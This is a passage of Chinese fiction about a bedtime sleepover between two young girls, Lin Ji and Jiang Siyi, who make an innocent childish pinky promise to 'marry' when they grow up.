林棘正要换睡裙,发现姜司意还站在她面前,呼扇呼扇的大眼睛就盯着她看。 三岁的孩子大多数行动是出于本能,而六岁的小女孩已经有了身体的边界感,更何况还是她喜欢的妹妹。 林棘:“我,要换衣服,你不能在这看。” 姜司意似懂非懂,很乖地“哦”了声,随后跑出去好几步,站到门口看。 林棘:“……也不能站在那看,不能看。” 姜司意明白了,又“哦”一声,捂住自己的眼睛。 “我不看了。” 林棘不觉得妹妹会从指缝里偷偷看,百分百相信她。 换完了睡裙,又在妈妈的帮助下吹干头发。 泪痕都被擦干净的姜司意拉着林棘的手不放。 林雪泊对陶绪说:“要不然小佑今晚就住你这儿吧,有她在妹妹应该一会儿就能睡着。把小祖宗们哄睡了,咱们才能睡个好觉。” 陶绪:“那太好了,辛苦小佑了,我会照顾好她的。” 林雪泊看林棘拿纸贴到姜司意鼻子前,说:“擤鼻涕。” 姜司意闭着眼皱眉,用力,哼—— 林棘帮她擦干净后,将纸平平整整地对折,又贴上去。 “再擤一次。” 姜司意又用力闭上眼睛,再,哼—— 林雪泊笑道:“我看她可一点都不觉得辛苦,乐在其中呢。” 林雪泊走了。 她对陶绪挺放心,看面相就是个心细的女人,肯定比她细心,孩子交给她没问题。 姜司意拉着林棘去她床上,把自己最喜欢的蘑菇玩偶拉过来,给她抱。 陶绪站在卧室门口她俩,姜司意对陶绪说: “我拿了姐姐的鞋,还有她的睡衣。” 陶绪:“乖宝贝,我去找姐姐,睡吧。” 陶绪为她俩关上门,回到客厅,见姜司聆刚醒,坐在地毯上茫然四望——我的鞋呢? 妈妈把她抱起来,“跟妈妈睡觉去了。” 六岁的姜司聆已经挺有分量,有段时间没要妈妈抱了。 这会儿困得要命,被妈妈抱在怀里,不用自己走路去床上,开心地亲妈妈一口。 陶绪:“哎哟,这么爱妈妈啊。” 姜司聆在妈妈脖子上蹭了蹭,安心继续睡觉…… 卧室里。 姜司意和林棘枕着同一只大蘑菇。 姜司意胖乎乎的小手握着林棘的手,从两边握过来,握住她的大拇指和小指,还没睡觉,就这么玩着。 林棘一根根数着她的睫毛时,听到她用稚气的声音说: “妈妈和姐姐说,我要好久好久好久才能和你结婚。” 林棘想了想,说:“是得等我们长大才能结婚。最早也要……二十岁吧。” 被林棘这么一肯定,姜司意的嘴又要往下弯。 林棘赶紧用两只手指戳住她的嘴角,向上抬。 抬成一个微笑的表情。 “但是我会一直陪在你身边啊,等你长大我们就结婚。” 一直陪在身边,长大就结婚。 懵懵懂懂的,但也知道这是某种应允的承诺。 “拉钩。” 姜司意开心了,眼睛亮晶晶地勾住林棘的小拇指。 “我要多吃饭,很快长大!” 林棘笑着晃了晃勾起的小手。 “嗯,拉钩。那以后不要哭咯。” 姜司意用力点头。 漂亮的眼睛似水濯过的砚台,黑亮黑亮的。 林棘想起姜司意在海边亲自己的那下,也在她光洁的额头上落下一个吻。 “妹妹老婆好乖,睡觉吧。” 姜司意勾着林棘的手不放,安心地闭上眼。 “睡觉,姐姐老婆晚安。”